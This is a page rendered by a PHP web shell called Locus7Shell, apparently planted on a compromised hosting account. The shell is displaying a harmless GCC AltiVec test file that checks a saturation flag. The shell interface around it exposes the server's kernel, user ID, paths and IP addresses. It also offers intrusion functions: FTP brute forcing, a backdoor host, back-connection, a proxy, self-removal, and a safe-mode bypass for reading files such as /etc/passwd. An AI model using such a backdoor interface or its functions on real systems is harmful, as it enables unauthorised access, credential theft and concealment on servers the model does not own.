Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.dg/vmx/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     sn7153.c (1.76 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* In the source code, the vec_adds appears before the call to
   validate_sat().  In the .s code, the vaddubs has been moved to after
   the call to validate_sat().  This invalidates the meaning of checking
   the saturation bit.  */

#include <stdio.h>
#include <stdlib.h>
#include <altivec.h>

static int failed;

void validate_sat();
void validate_u8(vector unsigned char, vector unsigned char);

int
main()
{
  vector unsigned char result_u8;
  vec_mtvscr(((vector unsigned short){0,0,0,0,0,0,0,0}));
  result_u8 = vec_adds(((vector unsigned
            char){0,1,2,3,0xfc,0xfd,0xfe,0xff,
                  0,1,2,3,0xfc,0xfd,0xfe,0xff}),
               ((vector unsigned
            char){0,0xf0,0xfd,0xfd,2,2,2,2,0,
                  0xf0,0xfd,0xfd,2,2,2,2}));
  validate_sat();
  validate_u8(result_u8, ((vector unsigned
              char){0,0xf1,0xff,0xff,0xfe,0xff,0xff,0xff,
                  0,0xf1,0xff,0xff,0xfe,0xff,0xff,0xff}));
  if (failed)
    abort ();
  return 0;
}

void validate_sat()
{
#ifdef __LITTLE_ENDIAN__
  if (vec_any_ne(vec_splat(vec_mfvscr(), 0), ((vector unsigned short){1,1,1,1,1,1,1,1})))
#else
  if (vec_any_ne(vec_splat(vec_mfvscr(), 7), ((vector unsigned short){1,1,1,1,1,1,1,1})))
#endif
    {
      union {vector unsigned short v; unsigned short s[8];} u;
      u.v = vec_mfvscr();
      printf("error: vscr == { %d,%d,%d,%d,%d,%d,%d,%d }",
         u.s[0], u.s[1], u.s[2], u.s[3],
         u.s[4], u.s[5], u.s[6], u.s[7]);
      printf("expected { 1,1,1,1,1,1,1,1 }\n");
      failed++;
    }
}

void validate_u8(vector unsigned char v, vector unsigned char vx)
{
  union {vector unsigned char v; unsigned char x[16]; } u, ux;
  int i;
  u.v = v;
  ux.v = vx;
  for (i=0; i<16; i++) {
    if (u.x[i] != ux.x[i]) {
      printf(" error: field %d %#2.2x expected %#2.2x\n",
             i, u.x[i], ux.x[i]);
      failed++;
    }
  }
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.006 ]--